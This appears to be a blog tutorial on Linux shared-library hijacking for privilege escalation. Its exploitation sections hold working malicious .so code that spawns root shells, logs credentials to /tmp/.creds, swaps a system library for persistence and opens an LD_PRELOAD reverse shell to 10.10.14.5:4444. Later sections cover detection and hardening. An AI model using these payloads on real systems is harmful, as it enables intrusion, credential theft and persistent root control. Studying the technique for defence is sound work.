Shared object hijacking exploitation techniques on Linux systems

Shared Object Hijacking: Advanced Linux Privilege Escalation

Technical exploration of shared library hijacking on Linux systems, focusing on RUNPATH exploitation, LD_PRELOAD attacks, and custom library injection techniques.

Dec 15, 2025
Updated Dec 11, 2025
2 min read

Introduction

Shared object (SO) hijacking is a sophisticated privilege escalation technique on Linux systems that exploits the dynamic library loading mechanism to execute malicious code with elevated privileges. This attack vector leverages misconfigurations in how binaries locate and load shared libraries, allowing attackers to inject custom code into privileged processes.

Linux programs commonly use dynamically linked shared object libraries (.so files) to avoid code duplication and reduce binary size. Unlike static libraries (.a files) which are compiled directly into the executable, shared libraries are loaded at runtime by the dynamic linker/loader (ld.so). This runtime loading process creates opportunities for exploitation when proper security controls are not implemented.

The attack is particularly dangerous when targeting SETUID/SETGID binaries, which execute with the permissions of the file owner rather than the user who runs them. By hijacking the library loading process, an attacker can escalate from a low-privileged user to root access.

Silent Privilege Escalation

Shared object hijacking is difficult to detect during standard security assessments because it exploits legitimate system functionality. A single writable directory in a library search path or a misconfigured RUNPATH can provide a complete privilege escalation vector without requiring memory corruption or kernel exploits.

Technical Background

Shared Library Architecture

Static vs. Dynamic Libraries

TypeExtensionCompilationRuntime BehaviorSecurity Implications
Static.aLinked into binary at compile timeFixed, cannot be alteredSecure from SO hijacking but inflexible
Dynamic.soLoaded at runtimeCan be substitutedVulnerable if search paths misconfigured

Dynamic Linking Process

When a dynamically linked binary executes:

  1. Program execution begins - Kernel loads the ELF binary
  2. Dynamic linker invoked - /lib64/ld-linux-x86-64.so.2 (or 32-bit equivalent) takes control
  3. Dependencies resolved - Linker reads binary's ELF headers to identify required libraries
  4. Library search - Searches predefined paths in specific order (exploitable)
  5. Library loading - Shared objects loaded into memory
  6. Symbol resolution - Function addresses resolved and linked
  7. Execution transfer - Control passed to program's entry point

Library Search Order

The dynamic linker searches for libraries in this priority order:

  1. RPATH (deprecated, compiled into binary)
  2. LD_LIBRARY_PATH (environment variable)
  3. RUNPATH (compiled into binary, can be overridden by LD_LIBRARY_PATH)
  4. /etc/ld.so.conf (system-wide library configuration)
  5. Default paths (/lib, /lib64, /usr/lib, /usr/lib64)

This search order creates multiple exploitation opportunities when an attacker can control earlier paths.

ELF Binary Structure

ELF (Executable and Linkable Format) headers contain critical information for library loading:

// Simplified ELF structure
typedef struct {
    unsigned char e_ident[16];  // Magic number and other info
    uint16_t      e_type;       // Object file type
    uint16_t      e_machine;    // Architecture
    // ... more fields
} Elf64_Ehdr;

// Dynamic section tags
#define DT_NEEDED   1   // Required library
#define DT_RPATH    15  // Library search path (deprecated)
#define DT_RUNPATH  29  // Library search path

RPATH vs RUNPATH

AttributeRPATHRUNPATH
PriorityHigher (cannot be overridden)Lower (LD_LIBRARY_PATH can override)
SecurityMore dangerousSlightly less dangerous
Modern useDeprecatedPreferred
OverrideCannot be overridden by LD_LIBRARY_PATHCan be overridden by LD_LIBRARY_PATH

Enumeration Techniques

Identifying SETUID/SETGID Binaries

Find all SETUID binaries:

# Find SETUID binaries
find / -perm -4000 -type f 2>/dev/null

# Find SETGID binaries
find / -perm -2000 -type f 2>/dev/null

# Find both SETUID and SETGID
find / -perm -6000 -type f 2>/dev/null

# Find with detailed output
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

Example output:

-rwsr-xr-x 1 root root 16728 Sep  1 22:05 /opt/custom/payroll
-rwsr-xr-x 1 root root 53128 Mar 23 08:15 /usr/bin/passwd
-rwsr-xr-x 1 root root 44464 Mar 23 08:15 /usr/bin/newgrp

Analyzing Binary Dependencies

Using ldd to list shared libraries:

# List all shared library dependencies
ldd /opt/custom/payroll

# Example output:
linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /lib/x86_64-linux-gnu/libshared.so (0x00007f7f62e51000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

Key indicators of vulnerability:

  • Non-standard library names (libshared.so, libcustom.so)
  • Libraries loaded from unusual paths
  • Missing libraries (not found)

Check for missing libraries:

# Identify missing libraries
ldd /opt/custom/binary 2>&1 | grep "not found"

# Example:
libcustom.so => not found

Inspecting RUNPATH/RPATH Configuration

Using readelf to examine ELF headers:

# Check for RUNPATH or RPATH
readelf -d /opt/custom/payroll | grep -E 'RUNPATH|RPATH'

# Example output:
 0x000000000000001d (RUNPATH)            Library runpath: [/development]

# Alternative format
 0x000000000000000f (RPATH)              Library rpath: [/opt/libs:/tmp]

Using patchelf to inspect:

# Show RUNPATH
patchelf --print-rpath /opt/custom/payroll

# Show interpreter
patchelf --print-interpreter /opt/custom/payroll

Check directory permissions:

# Verify if RUNPATH directories are writable
ls -la /development/

# Example of vulnerable configuration:
drwxrwxrwx  2 root root 4096 Sep  1 22:06 /development/

Identifying Exploitable Functions

Using nm to list symbols:

# List dynamic symbols
nm -D /opt/custom/payroll

# List undefined symbols (external dependencies)
nm -D /opt/custom/payroll | grep "U "

# Example output:
U dbquery
U printf
U setuid
U system

Using objdump to analyze imports:

# Display dynamic relocations
objdump -R /opt/custom/payroll

# Examine the PLT (Procedure Linkage Table)
objdump -d -j .plt /opt/custom/payroll

Using strings to find function names:

# Extract printable strings
strings /opt/custom/payroll | grep -E '^[a-zA-Z_][a-zA-Z0-9_]*$'

# Look for common exploitable patterns
strings /opt/custom/payroll | grep -i "query\|connect\|auth\|init"

Automated Enumeration Scripts

LinPEAS detection:

# Download and run LinPEAS
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# Look for section: "SUID - Check easy privesc, exploits and write perms"
grep -A 50 "Checking 'sudo -l'" linpeas_output.txt

Custom enumeration script:

#!/bin/bash

echo "[*] Searching for vulnerable SETUID binaries with custom libraries..."

# Find SETUID binaries
find / -perm -4000 -type f 2>/dev/null | while read binary; do
    echo "[+] Checking: $binary"

    # Check dependencies
    deps=$(ldd "$binary" 2>/dev/null)

    # Look for custom libraries (not in standard paths)
    echo "$deps" | grep -v "/lib/" | grep -v "/usr/lib/" | grep "=>"

    # Check for RUNPATH
    runpath=$(readelf -d "$binary" 2>/dev/null | grep -E "RUNPATH|RPATH")
    if [ ! -z "$runpath" ]; then
        echo "[!] RUNPATH/RPATH found:"
        echo "$runpath"

        # Extract path and check permissions
        path=$(echo "$runpath" | grep -oP '(?<=\[)[^\]]+')
        if [ -d "$path" ] && [ -w "$path" ]; then
            echo "[!!!] WRITABLE RUNPATH: $path"
        fi
    fi
    echo ""
done

RUNPATH Exploitation

Attack Scenario

RUNPATH exploitation occurs when:

  1. A SETUID binary has a RUNPATH pointing to a writable directory
  2. The binary loads a shared library from this path
  3. An attacker can write a malicious library to the RUNPATH directory
  4. The malicious library is loaded before system libraries

Step-by-Step Exploitation

Identify vulnerable binary

# Check SETUID binary
ls -la /opt/custom/payroll
-rwsr-xr-x 1 root root 16728 Sep  1 22:05 /opt/custom/payroll

# Verify RUNPATH
readelf -d /opt/custom/payroll | grep RUNPATH
 0x000000000000001d (RUNPATH)            Library runpath: [/development]

# Check directory permissions
ls -la /development/
drwxrwxrwx  2 root root 4096 Sep  1 22:06 /development/

Identify required library and function

# Check library dependencies
ldd /opt/custom/payroll
linux-vdso.so.1 =>  (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0c12d28000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)

# Create dummy library to test
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so

# Run binary to identify missing function
./payroll
./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

Create malicious shared library

// malicious_lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// Constructor attribute - executed when library is loaded
__attribute__((constructor))
void init() {
    printf("[*] Malicious library loaded\n");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

// Implement the expected function to avoid errors
void dbquery() {
    printf("Malicious dbquery() function called\n");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

// Alternative: Hook common functions
int printf(const char *format, ...) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}

Compile malicious library

# Compile as shared library
gcc -fPIC -shared -o /development/libshared.so malicious_lib.c -nostartfiles

# Alternative with specific function
gcc -fPIC -shared -o /development/libshared.so malicious_lib.c

# Verify compilation
file /development/libshared.so
/development/libshared.so: ELF 64-bit LSB shared object, x86-64

# Check exported symbols
nm -D /development/libshared.so | grep dbquery
00000000000011a9 T dbquery

Execute vulnerable binary

# Run the SETUID binary
./payroll

# Expected output:
***************Inlane Freight Employee Database***************

[*] Malicious library loaded
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),1000(user)

bash-5.0# whoami
root

Advanced RUNPATH Techniques

Multi-function library hijacking:

// advanced_hijack.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// Function pointers to original functions
static void *(*original_malloc)(size_t) = NULL;
static void (*original_free)(void *) = NULL;

// Constructor - runs before main()
__attribute__((constructor))
void setup() {
    unsetenv("LD_PRELOAD");  // Clean environment
    setuid(0);
    setgid(0);
}

// Implement all expected functions from original library
void dbquery() {
    printf("Database query intercepted\n");
    system("/bin/bash -p");
}

void connect_db(const char *host) {
    printf("Database connection to %s intercepted\n", host);
    setuid(0);
    system("/bin/bash -p");
}

void authenticate(const char *user, const char *pass) {
    printf("Authentication attempt intercepted: %s:%s\n", user, pass);
    // Log credentials for later use
    FILE *f = fopen("/tmp/.creds", "a");
    fprintf(f, "%s:%s\n", user, pass);
    fclose(f);

    // Grant root access
    setuid(0);
    system("/bin/bash -p");
}

Persistence through library replacement:

# Backup original library
cp /lib/x86_64-linux-gnu/libshared.so /lib/x86_64-linux-gnu/libshared.so.bak

# Replace with malicious version
cp /tmp/malicious.so /lib/x86_64-linux-gnu/libshared.so

# Set same permissions and ownership
chown root:root /lib/x86_64-linux-gnu/libshared.so
chmod 644 /lib/x86_64-linux-gnu/libshared.so

# Update library cache
ldconfig

LD_PRELOAD Exploitation

Understanding LD_PRELOAD

The LD_PRELOAD environment variable specifies shared libraries to be loaded before all others, allowing function interception and replacement.

Security mechanisms:

  • Ignored for SETUID/SETGID binaries (with exceptions)
  • Can be allowed via /etc/sudoers configuration
  • Works when user has sudo privileges with env_keep+=LD_PRELOAD

Checking for LD_PRELOAD Privileges

# Check sudo privileges
sudo -l

# Look for these indicators:
# env_reset
# env_keep+=LD_PRELOAD

# Example vulnerable configuration:
Matching Defaults entries for user on target:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User user may run the following commands on target:
    (root) NOPASSWD: /usr/bin/apache2

LD_PRELOAD Exploitation Techniques

Technique 1: Basic LD_PRELOAD Escalation

// preload_root.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}

Compile and execute:

# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload_root.c

# Execute with LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/apache2

# Alternative: Any binary
sudo LD_PRELOAD=/tmp/preload.so /bin/ls

Technique 2: Function Hooking

// hook_functions.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

// Hook getuid() to always return 0 (root)
uid_t getuid(void) {
    return 0;
}

// Hook access() to always return success
int access(const char *pathname, int mode) {
    return 0;
}

// Hook open() to intercept file operations
int open(const char *pathname, int flags) {
    int (*original_open)(const char*, int);

    // Get original function
    original_open = dlsym(RTLD_NEXT, "open");

    // Log all file opens
    FILE *log = fopen("/tmp/opens.log", "a");
    fprintf(log, "Open: %s\n", pathname);
    fclose(log);

    // Call original function
    return original_open(pathname, flags);
}

Technique 3: Reverse Shell via LD_PRELOAD

// revshell_preload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

void _init() {
    unsetenv("LD_PRELOAD");

    int sockfd;
    struct sockaddr_in server;

    // Create socket
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("10.10.14.5");

    // Connect to attacker
    connect(sockfd, (struct sockaddr *)&server, sizeof(server));

    // Redirect stdin, stdout, stderr
    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    // Execute shell
    setuid(0);
    setgid(0);
    execve("/bin/bash", NULL, NULL);
}

Execute:

# Start listener on attacker machine
nc -lvnp 4444

# On target
gcc -fPIC -shared -nostartfiles -o /tmp/revshell.so revshell_preload.c
sudo LD_PRELOAD=/tmp/revshell.so /usr/bin/find

LD_LIBRARY_PATH Exploitation

When LD_LIBRARY_PATH is Exploitable

Check for sudo privileges:

sudo -l

# Vulnerable configuration:
env_keep+=LD_LIBRARY_PATH

User user may run the following commands on target:
    (root) NOPASSWD: /opt/proprietary/script.sh

Exploitation Technique

Identify script's library dependencies

# Analyze the script
cat /opt/proprietary/script.sh

#!/bin/bash
/usr/bin/custom_binary
/usr/bin/logger "Script executed"

# Check dependencies
ldd /usr/bin/custom_binary
linux-vdso.so.1 (0x00007ffeff9f1000)
libcrypto.so.1.1 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1 (0x00007f8c4e200000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8c4de00000)

Create malicious library

// libcrypto.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    unsetenv("LD_LIBRARY_PATH");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}

// Implement expected functions to avoid crashes
void OPENSSL_init_crypto() {}
void EVP_EncryptInit() {}

Compile and execute

# Compile
gcc -fPIC -shared -o /tmp/libcrypto.so.1.1 libcrypto.c

# Execute with modified LD_LIBRARY_PATH
sudo LD_LIBRARY_PATH=/tmp /opt/proprietary/script.sh

# Result: Root shell

Detection and Prevention

Detecting Shared Object Hijacking

Audit SETUID binaries for RUNPATH:

#!/bin/bash
# audit_runpath.sh

echo "[*] Auditing SETUID binaries for RUNPATH vulnerabilities..."

find / -perm -4000 -type f 2>/dev/null | while read binary; do
    runpath=$(readelf -d "$binary" 2>/dev/null | grep -E "RUNPATH|RPATH" | grep -oP '(?<=\[)[^\]]+')

    if [ ! -z "$runpath" ]; then
        echo "[!] RUNPATH found: $binary -> $runpath"

        # Check if writable
        if [ -w "$runpath" ]; then
            echo "[!!!] VULNERABLE: $runpath is writable!"
        fi
    fi
done

Monitor library loading:

# Use auditd to monitor library loads
auditctl -w /lib -p wa -k library_modification
auditctl -w /usr/lib -p wa -k library_modification
auditctl -w /lib64 -p wa -k library_modification

# Review audit logs
ausearch -k library_modification

Detect LD_PRELOAD abuse:

# Monitor environment variables in sudo commands
auditctl -a always,exit -F arch=b64 -S execve -C uid!=euid -F key=sudo_escalation

# Check sudo configuration
grep -r "env_keep.*LD_PRELOAD" /etc/sudoers /etc/sudoers.d/

# Alert on suspicious patterns
grep "LD_PRELOAD" /var/log/auth.log

Preventive Measures

1. Remove writable RUNPATH directories:

# Identify binaries with RUNPATH
find / -type f -executable -exec readelf -d {} \; 2>/dev/null | grep RUNPATH

# Remove RUNPATH using patchelf
patchelf --remove-rpath /opt/custom/binary

# Or recompile without RUNPATH
gcc -o binary binary.c  # Without -Wl,-rpath

2. Secure sudo configuration:

# Edit /etc/sudoers
visudo

# Remove dangerous env_keep directives
# REMOVE: env_keep+=LD_PRELOAD
# REMOVE: env_keep+=LD_LIBRARY_PATH

# Add secure_path
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Reset environment by default
Defaults    env_reset

3. Use absolute paths in SETUID binaries:

// Insecure
system("ls -la");

// Secure
system("/bin/ls -la");

// Most secure - avoid system() entirely
execve("/bin/ls", args, env);

4. Implement library validation:

// Validate library integrity before loading
#include <openssl/sha.h>

int verify_library(const char *lib_path) {
    unsigned char expected_hash[SHA256_DIGEST_LENGTH] = { /* known good hash */ };
    unsigned char calculated_hash[SHA256_DIGEST_LENGTH];

    // Calculate hash of library file
    // Compare with expected hash
    // Return 0 if match, -1 if mismatch
}

5. Enable SELinux/AppArmor:

# SELinux: Restrict library loading
# Create policy to restrict LD_PRELOAD

# AppArmor profile example
cat > /etc/apparmor.d/opt.custom.payroll << 'EOF'
#include <tunables/global>

/opt/custom/payroll {
  #include <abstractions/base>

  # Deny LD_PRELOAD
  deny /tmp/** mrwlk,
  deny /dev/shm/** mrwlk,

  # Allow only system libraries
  /lib/** mr,
  /usr/lib/** mr,

  # Deny RUNPATH abuse
  deny /development/** mrwlk,
}
EOF

# Load profile
apparmor_parser -r /etc/apparmor.d/opt.custom.payroll

6. Restrict directory permissions:

# Ensure library directories are not writable
chmod 755 /lib /lib64 /usr/lib /usr/lib64

# Audit all world-writable directories
find / -type d -perm -002 ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null

# Remove world-write permission from custom library paths
chmod 755 /development

Security Hardening Checklist

  • Audit all SETUID/SETGID binaries for RUNPATH/RPATH
  • Remove or secure writable RUNPATH directories
  • Disable LD_PRELOAD in /etc/sudoers
  • Implement secure_path in sudoers configuration
  • Enable SELinux/AppArmor with library loading restrictions
  • Monitor library modifications with auditd
  • Use absolute paths in system() calls
  • Regularly scan for new SETUID binaries
  • Implement file integrity monitoring (AIDE, Tripwire)
  • Review and minimize sudo privileges

Verification and Testing

Test for RUNPATH vulnerability:

# Controlled test environment
mkdir /tmp/test_runpath
chmod 777 /tmp/test_runpath

# Create test binary with RUNPATH
cat > test.c << 'EOF'
#include <stdio.h>
void custom_function();
int main() {
    custom_function();
    return 0;
}
EOF

# Create library
cat > libcustom.c << 'EOF'
#include <stdio.h>
void custom_function() {
    printf("Custom library function\n");
}
EOF

# Compile with RUNPATH
gcc -fPIC -shared -o /tmp/test_runpath/libcustom.so libcustom.c
gcc -o test test.c -L/tmp/test_runpath -lcustom -Wl,-rpath,/tmp/test_runpath

# Verify RUNPATH
readelf -d test | grep RUNPATH

# Test library loading
./test

Verify sudo security:

# Check for dangerous environment variables
sudo -l | grep -E "env_keep.*LD_"

# Test if LD_PRELOAD is honored
echo 'void _init() { system("echo VULNERABLE"); }' > test.c
gcc -fPIC -shared -nostartfiles -o test.so test.c
sudo LD_PRELOAD=./test.so id 2>&1 | grep VULNERABLE

References

MITRE ATT&CK Techniques

Linux Documentation

Security Resources

Next Steps

If shared object hijacking vulnerabilities are identified:

  • Immediately audit all SETUID binaries for RUNPATH/RPATH configurations
  • Remove or secure writable directories in library search paths
  • Review and harden /etc/sudoers configuration
  • Implement SELinux or AppArmor mandatory access controls
  • Deploy file integrity monitoring for critical binaries and libraries
  • Conduct regular privilege escalation assessments
  • Explore related Linux privilege escalation techniques:

Takeaway: Shared object hijacking represents a subtle but powerful privilege escalation vector on Linux systems. The combination of removing RUNPATH from SETUID binaries, hardening sudo configuration, implementing mandatory access controls, and continuous monitoring provides comprehensive defense against this attack class. Make library security a critical component of your Linux hardening program, as misconfigurations in this area can provide silent privilege escalation paths that bypass traditional security controls.

Last updated on

Shared Object Hijacking: Advanced Linux Privilege Escalation | Drake Axelrod